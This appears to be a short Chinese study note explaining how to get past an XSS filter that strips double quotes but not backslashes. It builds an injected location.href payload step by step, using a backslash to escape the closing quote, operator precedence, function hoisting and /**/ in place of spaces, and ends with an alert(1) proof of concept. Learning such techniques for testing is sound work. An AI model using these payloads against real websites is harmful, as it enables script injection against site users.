今天看书学到一个操作,觉得太棒了一定要记下来
过滤掉双引号但未过滤反斜杠
当未过滤反斜杠的时候可以使用反斜杠\杀掉后面的双引号
比如在这个地方:
location.href="........."+"&ss=aaaa\"+"&from=bbb"+"¶m=";
比如:
把bbb改为数字,在bbb后面加上//来注释掉
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";
但是因为符号优先级问题,“字符串”&from=1是错误的,所以可以改成
location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m=";
因为==
的优先级比&高,所以语句相当于(“字符串”)&(from==1)
但因为from未定义,所以会报错,这里使用JavaScript里面一个特性,凡是以function(){}形式定义的函数都会被最先解析,如:
aaa():
function aaa(){
}
所以代码可以改为:
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";
这样的话function from(){}就会提前被解析,从而定义了from
但是到这一步发现空格被转换为 ,可以使用/**/绕过,这也就是和SQL注入空格一样
然后代码就会变为
location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=